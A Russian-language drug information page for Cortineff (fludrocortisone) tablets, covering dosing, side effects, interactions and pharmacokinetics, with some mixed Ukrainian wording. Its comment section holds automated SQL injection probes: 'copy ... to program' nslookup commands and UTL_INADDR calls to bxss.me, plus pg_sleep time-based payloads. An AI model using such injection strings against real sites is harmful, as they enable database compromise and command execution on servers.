Загрузить Документ
Получить свидетельство
о публикации
Задать вопрос
Задайть свой вопрос специалисту!
Поиск препаратов
Язык:
    На сайте вы найдете описание препаратов, инструкция по их применению и отзывы
    ВНИМАНИЕ! Вся информация взята из открытых источников и предоставляется исключительно в ознакомительных целях.

    Кортинефф таблетки по 0,1 мг №20 во флаконе

    Действующее вещество: Флудрокортизон
    Лекарственная форма: Таблетки
    Внешний вид препарата: Кортинефф таблетки по 0,1 мг №20 во флаконе Внешний вид упаковки может отличаться от указанных.

    Состав

    действующее вещество: флудрокортизону ацетат;

    1 таблетка содержит 0,1 мг флудрокортизону ацетата;

    вспомогательные вещества: лактозы моногидрат, крахмал картофельный, желатин, магния стеарат.

    Лекарственная форма

    Таблетки.

    Фармакотерапевтическая группа

    Кортикостероиды для системного применения. Минералокортикоиды. Код АТХ Н02А А02.

    Показания

    Заместительная терапия первичной и вторичной недостаточности коры надпочечников. При болезни Адисона. Лечение адрено-генитального синдрома с синдромом потери соли.

    Противопоказания

    Повышенная чувствительность к флудрокортизону или к любому компоненту препарата. Системная инфекция, если не проводится специфическое лечение.

    Способ применения и дозы

    Дозу препарата подбирать индивидуально, в зависимости от тяжести заболевания и реакции на терапию. На протяжении лечения может возникнуть необходимость в изменении дозы в зависимости от течения заболевания или в стрессовой ситуации, например, оперативное вмешательство, травма или инфекционное заболевание.

    Для взрослых: обычная рекомендованная доза составляет от 0,1 мг до 0,3 мг (1-3 таблетки) в сутки.Таблетки не следует делить.

    В случае пропуска дозы следует принять препарат как можно быстрее или, если приближается время принятия очередной дозы, пропущенную дозу не принимать и продолжать прописанную схему лечения. Нельзя принимать две дозы одновременно.

    Пациенты пожилого возраста: коррекция дозы не нужна.

    Побочные реакции

    Флудрокортизон может маскировать симптомы инфекции, снижать их интенсивность, уменьшать иммунитет к инфекциям и возможность для ее локализации.

    Большинство побочных эффектов связано с минералокортикотропною действием флудрокортизону, включая водно-электролитные нарушения: задержка натрия и жидкости в организме, артериальная гипертензия, отеки, застойная недостаточность кровообращения, потеря калия, гипокалиемический алкалоз, аритмии или изменения на ЭКГ, связанные с дефицитом калия, и повышенное выведение кальция. Кратковременное применение флудрокортизону, подобно другим кортикостероидов, лишь спорадически вызывает побочные эффекты, связанные с глюкокортикотропною активностью. Риск развития следующих побочных эффектов касается прежде всего пациентов, которые принимают флудрокортизон длительное время или одновременно с другими кортикостероидами.

    Со стороны костно-мышечной системы: мышечная слабость, стероидная миопатия, потеря мышечной массы, остеопороз, компрессионные переломы позвоночника, асептический некроз головки бедренной и плечевой кости, патологические переломы трубчатых костей, разрыв сухожилий, аваскулярный остеонекроз.

    Со стороны желудочно-кишечного тракта: пептическая язва и ее последствия: кровотечение, перфорация пищевода, желудка и двенадцатиперстной кишки, перфорация толстого или тонкого кишечника, особенно у больных с воспалением кишечника; воспаление поджелудочной железы; вздутие живота; ульцерозне воспаление пищевода, нарушение пищеварения; кандидозы, чрезмерный аппетит.

    Со стороны кожи: сыпь, замедленное заживление ран; истончение кожи; экхимозы и гематомы; эритема; чрезмерное потоотделение, пурпура, атрофические полосы на коже, угри, кожные проявления, которые напоминают изменения, характерные для системной красной волчанки, снижение реакции в кожных тестах, гирсутизм.

    Со стороны нервной системы: эйфория, расстройства личности, депрессия, расстройства сна, судороги; повышение внутричерепного давления с папиллярным отеком (псевдоопухоль мозга – как правило, после слишком быстрого снижения дозы); головокружение и головная боль, неврит или парестезии, усиление симптомов психоза, эпилепсия.

    Эндокринные расстройства: нерегулярные менструации или аменорея; развитие синдрома Кушинга, торможение роста у детей, вторичная недостаточность коры надпочечников и гипофиза, особенно в стрессовых ситуациях (болезнь, травма, оперативное вмешательство), снижение толерантности к углеводам; манифестный сахарный диабет и увеличение потребности в инсулине и антидиабетических препаратах у больных с имеющимся сахарным диабетом, гирсутизм, увеличение массы тела, отрицательный белковый и кальциевый баланс, чрезмерный аппетит.

    Со стороны органов зрения: задняя субкапсулярная катаракта; повышение внутриглазного давления; глаукома; экзофтальм, истончение роговицы или склеры, обострение глазных заболеваний грибковой и вирусной этиологии.

    Другие нарушения: некротический васкулит или лимфангит, тромбофлебит и облитерирующий ендартериїт, лейкоцитоз, бессонница, аллергические реакции, анафилактические реакции, ангионевротический отек, зуд, крапивница, вертиго, папиллоэдема.

    Симптомы и признаки синдрома отмены: лихорадка, миалгия, артралгия, ринит, конъюнктивит, болезненные утолщения кожи, которые чешутся, потеря массы тела. Слишком быстрая отмена дозы после длительного применения может привести к острой адреналовой недостаточности, гипотензии и летального исхода.

    Передозировка

    Мониторинг концентрации электролитов в сыворотке крови является необходимым. Следует рассмотреть введение калия хлорида и ограничения натрия в диете.

    Применение в период беременности или кормления грудью

    Запрещается применение флудрокортизону женщинам репродуктивного возраста и в период беременности при отсутствии жизненных показаний. Пациентки, у которых развивается преэклампсия и происходит задержка жидкости в организме, должны находиться под пристальным наблюдением врача.

    Может быть малый риск возникновения «волчьей пасти» и задержки внутриутробного развития. У новорожденных может возникнуть гипоадренализм (гипофункция надпочечников). Новорожденных от матерей, которые получали значительные дозы кортикостероидов во время беременности или в течение кормления грудью, необходимо тщательно наблюдать относительно признаков гипофункции наднирникових желез.

    Флудрокортизон проникает в грудное молоко и может вызвать у ребенка нежелательные реакции: задержку роста или угнетение секреции эндогенных гормонов коры надпочечников, поэтому на период лечения следует прекратить кормление грудью.

    Дети

    Безопасность и эффективность у детей официально не были установлены, поэтому препарат не следует применять в педиатрической практике.

    Особенности применения

    Благодаря сильному минералокортикоїдному эффекта флудрокортизону следует контролировать количество и прием соли для предотвращения риска возникновения гипертензии, отеков, или повышение массы тела. При длительном приеме препарата рекомендуется периодический мониторинг уровня электролитов в сыворотке крови. Благодаря риска, сопряженном с задержкой натрия в организме, Кортинефф следует применять только при показаниях к применению.

    Кортинефф является сильным минералокортикоїдним препаратом и его следует применять прежде всего в заместительной терапии. Любые побочные эффекты, которые могут возникнуть при приеме препарата, возможно, уменьшаются при должном корректировке дозы.

    При длительном применении флудрокортизону развивается адренокортикотропна атрофия, которая может иметь место даже в течение нескольких лет после отмены лечения. Отличие кортикостероидной терапии следует вести по долговременной схеме, которая должна быть постепенной для предотвращения риска адренокортикоїдної недостаточности. В стрессовых ситуациях (травма, хирургическое вмешательство) пациентам, которые получают длительную терапию, следует добавлять корегуючу кортикостероидную терапию, которую следует продолжать вместе с терапией Кортинеффом и в течение нескольких лет после ее завершения.

    Флудрокортизон может маскировать симптомы инфекции, уменьшая сопротивление к инфекции и способность к ее локализации.

    Пациенты, которые принимают лекарственные препараты, подавляющие иммунную систему, являются более уязвимыми к инфекции, чем здоровые пациенты. Течение ветряной оспы, опоясывающего лишая и кори может быть более тяжелым при лечении кортикостероидами. Пациентам, которые не перенесли эти заболевания ранее, следует избегать контакта с больными.

    Пациентов, которые не переболели ветряной оспой и принимают пероральные кортикостероиды по причинам, не связанным с заместительной терапией, следует отнести к группе риска заболевания тяжелой формой оспы. Может произойти обострение таких заболеваний как пневмония, гепатит и диссеминированное внутрисосудистое свертывание крови.

    После контакта с больным ветряной оспой показано введение иммуноглобулина Varicella zoster (VZIG) пациентам, которые принимают кортикостероиды в настоящее время, или тем, которые принимали их в течение трех месяцев, предшествовавших контакта с инфекцией. VZIG следует вводить в течение

    3 дней, но не позднее, чем через 10 дней после контакта с больным ветряной оспой. Не следует прекращать прием кортикостероидов, надо увеличить их дозу. После контакта с больным корью следует ввести иммуноглобулин (IG).

    Больным, которые лечатся флудрокортизоном, не следует прививать живыми вирусными вакцинами.

    Применение инактивированной бактериальной или вирусной вакцины может не вызвать ожидаемого увеличения антител.

    Специальные предостережения.

    Учитывая, что препарат Кортинефф предусматривает длительное применение в первую очередь как заместительную терапию, для уменьшения побочных эффектов, которые могут появиться вследствие глюкокортикотропної действия, его следует применять в наименьших эффективных дозах.

    Следует осторожно применять флудрокортизон при имеющихся или недавно перенесенных пищеводно-кишечным анастомозам, дивертикулах кишечника, тромбофлебите, имеющихся или недавно перенесенных тяжелых аффективных расстройствах (особенно при предыдущих стероидных психозах), заболеваниях, которые сопровождаются высыпаниями, метастатической карциномой.

    Эффекты кортикостероидов могут быть усилены у пациентов с гипотиреозом или уменьшаться у пациентов с гипертиреозом.

    Следует осторожно применять флудрокортизон в случаях хронического нефрита или почечной недостаточности, остеопороза (особенно у женщин в постменопаузе), активной пептической язвы или ее ремиссии, миастении, грибковой или вирусной инфекций, местной или системной, глаукомы (или глаукомы в семейном анамнезе), гиперлипидемии, гипоальбуминемии.

    Введение флудрокортизону пациентам с активным туберкулезом следует ограничить случаями диссеминированного туберкулеза или туберкулеза с быстротечным ходом и только с одновременным противотуберкулезным лечением. Пациентов со скрытыми формами туберкулеза или положительной туберкулиновой пробой, которые получают флудрокортизон, следует мониторировать, учитывая риск развития туберкулеза. При длительном применении кортикостероидов пациенты должны получать противотуберкулезные препараты с профилактической целью.

    Следует соблюдать осторожность при применении флудрокортизону у пациентов с гипертензией, застойной сердечной недостаточностью, стероїдною миопатией, эпилепсией, нарушенной функцией печени, а также острым психозом и психическими расстройствами. Имеющаяся в прошлом эмоциональная лабильность или психотические расстройства могут усиливаться при применении флудрокортизону.У больных с недостаточностью щитовидной железы или циррозом печени действие флудрокортизону сильнее.

    Пациенты или те лица, которые за ними ухаживают, должны быть предупреждены о потенциально тяжелые психиатрические побочные реакции, которые могут возникать при применении системных стероидов. Эти симптомы могут возникать в течение нескольких дней или недель после начала лечения. Риск может быть выше при применении больших доз и системного воздействия, несмотря на то, что уровни доз не позволяют спрогнозировать нападение, тип, тяжесть или продолжительность реакций. Большинство реакций являются возвратными после уменьшения дозы или отмены препарата, несмотря на то, что специфическое лечение может быть необходимым. Пациенты или лица, которые за ними ухаживают, должны не стесняться искать медицинской советы, если развиваются психологические симптомы, которые их беспокоят, особенно депрессивное настроение или суицидальная идея. Пациенты или лица, которые за ними ухаживают, должны быть предупреждены

    о возможных психиатрические нарушения, которые могут возникать или в течение, или сразу после коррекции дозы системных стероидов, поскольку такие реакции были отмечены нечасто.

    Следует также быть осторожными пациентам с имеющимся или предыдущим анамнезом тяжелых аффективных расстройств или их родных в родстве первой степени при применении системных кортикостероидов с точки зрения депрессивных или маниакально-депрессивных заболеваний и предыдущих стероидных психозов.

    У пациентов больных сахарным диабетом, может наступить ухудшение, которое потребует применения высшей дозы инсулина. Флудрокортизон может вызвать манифестацию латентного сахарного диабета.

    У женщин существует риск нерегулярных месячных кровотечений.

    Детей, рожденных от матерей, которые принимали высокие дозы кортикостероидов в период беременности или в период грудного кормления следует обследовать с целью выявления возможной недостаточности коры надпочечников. У детей, которые длительное время принимающие кортикостероиды, возможны нарушения роста и развития.

    Больным с гипопротромбинемиєю нужно осторожно принимать ацетилсалициловую кислоту в сочетании с флудрокортизоном.

    В редких случаях у пациентов, которые принимают кортикостероиды, особенно в случаях ранее подтвержденной повышенной чувствительности к лекарственным препаратам, могут возникать анафилактические реакции.

    Кортинефф содержит лактозу. Пациентам с редкой наследственной непереносимостью галактозы, недостаточностью лактазы Лаппа или синдромом мальабсорбции глюкозы и галактозы не следует принимать препарат.

    Способность влиять на скорость реакции при управлении автотранспортом или работе с другими механизмами

    Отсутствуют данные, касающиеся влияния на психофизическое состояние человека и скорость нейромоторних реакций.

    Взаимодействие с другими лекарственными средствами и другие виды взаимодействий

    При одновременном применении Кортинеффу:

    • с барбитуратами, противоэпилептическими средствами (фенитоин, карбамазепин), рифампицином, рифабутином, примидоном, аминоглютатимидом, антигистаминными препаратами ослабляется сила действия флудрокортизону благодаря индукции микросомальных ферментов;
    • с анаболическими стероидами, андрогенами увеличивается риск отеков, высыпаний;
    • инъекциями амфотерицина и препаратами, которые уменьшают уровень калия: пациентов следует мониторировать на предмет гипокалиемии;
    • антихолинестерази: эффект от взаимодействия с антихолинэстеразными лекарствами может быть антагоничным;
    • пероральные антикоагулянты: кортикостероиды могут потенциально уменьшать антикоагулянтное действие;
    • антигипертензивные лекарства, включая диуретики: кортикостероиды имеют антагонистический эффект на антигипертензивные лекарства и диуретики; гипокалиемический эффект диуретиков, включая ацетазоламид, усиливается;
    • антитуберкульозни лекарства: концентрация изониазида в сыворотке крови может уменьшаться;
    • циклоспорин: следует мониторировать доказательства увеличения токсичности циклоспорина при одновременном применении этих лекарств;
    • гликозиды дигиталиса: одновременное применение может увеличивать токсичность дигиталиса;
    • с пероральными контрацептивами, содержащими эстрогены, замедляется метаболизм и усиливается действие флудрокортизону;
    • индукторы ферментов печени: (аминоглютемид, барбитураты, карбамазепин, фенитоин, примидон, рифабутин, рифампицин): могут увеличивать метаболический клиренс. Пациентов следует мониторировать относительно возможного уменьшения эффектов стероида, дозировку следует корректировать в соответствии;
    • гормоны человеческого роста: возможен ингибирующий эффект на влияние гормона;
    • кетоконазол: клиренс кортикостероидов может уменьшаться, приводя к усилению его эффектов;
    • деполяризуючи миорелаксанты: кортикостероиды могут уменьшать или увеличивать нейромускулярну блокирующее действие;
    • тиреоидные лекарства: метаболический клиренс адренокортикоїдив уменьшается у пациентов с гипотиреозом и увеличивается у пациентов с гипертиреозом. Изменения тиреоидного статуса могут как следствие требовать корректировки дозы;
    • с антитромботичними средствами (производные кумарина, индадион, гепарин, стрептокиназа, урокиназа) уменьшается, а в некоторых лиц увеличивается эффективность действия этих препаратов.

    Дозу необходимо назначать, учитывая показатели протромбинового времени;

    • с пероральными противодиабетическими препаратами, инсулином − ослабление протидиабетичної действия;
    • с мочегонными препаратами − уменьшается эффект действия диуретиков, гипокалиемия, ослабление действия слабительных препаратов;
    • с нестероидными противовоспалительными лекарствами увеличивается риск развития язвенной болезни и кровотечения из желудочно-кишечного тракта;
    • с лекарствами и продуктами, содержащими натрий − отеки, повышение ад; может возникнуть необходимость ограничения натрия в диете, а также лекарств с большим содержанием натрия; применение кортикостероидов иногда требует дополнительного приема натрия.

    Антигистаминные лекарства ухудшают эффективность флудрокортизону.

    При одновременном применении вакцин, содержащих живые вирусы, и иммуносупрессивных доз глюкокортикостероидов возможно развитие вирусных заболеваний и снижение эффективности вакцины.

    Салицилаты: кортикостероиды могут снижать сывороточные уровни салицилатов и снижать ее эффективность. Наоборот, прекращения лечения кортикостероидами во время терапии высокими дозами салицилатов может вызвать токсичность салицилатов.

    Фармакологические свойства

    Фармакодинамика.

    Кортинефф (флудрокортизон) − синтетический гормон коры надпочечников, фторированный производное гидрокортизона с сильной минералокортикотропною действием. Воспалительные заболевания не являются показаниями для применения флудрокортизону.

    Флудрокортизон действует на дистальный отдел почечных канальцев, стимулируя реабсорбцию натрия и задержку воды, а также увеличивает выведение калия и ионов водорода. Флудрокортизон может тормозить функцию коры надпочечников, активность щитовидной железы, выделение АКТГ гипофизом. Также может стимулировать отложение гликогена в печени, уменьшать количество еозинофильних гранулоцитов, может приводить к отрицательного азотистого баланса.

    Фармакокинетика.

    После внутреннего применения флудрокортизон быстро и полностью всасывается в желудочно-кишечном тракте. Исследования у человека и животных после внутривенного и дуоденального введения показали, что, в зависимости от вида, через 30 мин после введения 50 % или более стероида оставалось в неизмененном виде. После введения в форме ацетата в крови можно определить только неетерификований спирт. Концентрация в крови достигает наивысшего значения между 4-мя и 8-ю часами. Максимальная концентрация в сыворотке крови у здоровых добровольцев после внутривенного введения наблюдается примерно через 1,7 часа от момента введения.

    Период полувыведения после внутривенного введения у животных, а также у здоровых добровольцев составляет 30 минут. В результате введения животным ацетата наблюдалось трехфазное снижение концентрации в крови, а каждая фаза может соответствовать выведению метаболита.

    На 70-80 % флудрокортизон связывается с белками плазмы, в основном с фракцией глобулинов. У здоровых добровольцев 80 % выводится с мочой, а остальные 20 % − другими путями. Подобно тому, как при метаболизме других стероидов, выведение с желчью уравновешивается резорбцией из кишечника, и малое количество выводится с калом.

    Основные физико-химические свойства

    таблетки белого цвета с кремовым оттенком, круглые, плоские с обеих сторон с гладкими поверхностями и цельными краями, с одной стороны гравированные буквой «F», с другой – «−».

    Срок годности

    3 года.

    Не принимать лекарства после истечения срока годности, указанного на упаковке.

    Условия хранения

    Хранить при температуре не выше 25 °С, в защищенном от света и влаги, недоступном для детей месте, в оригинальной упаковке.

    Упаковка

    20 таблеток во флаконе из оранжевого стекла с полиэтиленовой пробкой, по 1 флакону в картонной коробке.

    Категория отпуска

    По рецепту.

    Производитель

    Паб'яницький фармацевтический завод Польфа А.Т., Польша/Pharmaceutical Works Polfa in Пабянице Joint -Stock Company.

    Местонахождение

    ул. Марш. Дж. Пилсудского 5, 95-200, Паб'янице, Польша/5, marsz. J Pilsudskiego Str., 95-200 Пабянице, Poland.

    Внимание! Текст описания препарата "Кортинефф таблетки по 0,1 мг №20 во флаконе" предоставлен для общей информации и ознакомления и является упрощённым вариантом официальной аннотации к лекарству. Перед приобретением и использованием препарата обязательно обратитесь к врачу и получите профессиональные рекомендации. Данный текст размещён на портале сугубо для ознакомительных целей и не может служить основанием для самолечения. Только врач может выносить решение о назначении того или иного лекарства, определять дозу и график приёма.

    Оставить комментарий может только зарегестрированный пользователь (Войти и Регистрация)

     • 

    1

     • 

    1

     • 

    618'

     • 

    1';copy (select '') to program 'nslookup dns.sqli.\013405.1533-4453.1533.803be.\1.bxss.me

     • 

    1;copy (select '') to program 'nslookup dns.sqli.\013405.1533-4447.1533.803be.\1.bxss.me'

     • 

    '||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1533-4446.1533.803be.1.bxss'||'.me')||'

     • 

    1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1533-4444.1533.803be.1.bxss'||'.me')

     • 

    ZRAkot6J'));select pg_sleep(28.625999999999997); --

     • 

    oVIvBVov');select pg_sleep(28.625999999999997); --

     • 

    w8FsO6H3';select pg_sleep(14.312999999999998); --

    Показаны записи 1-10 из 472.
    Top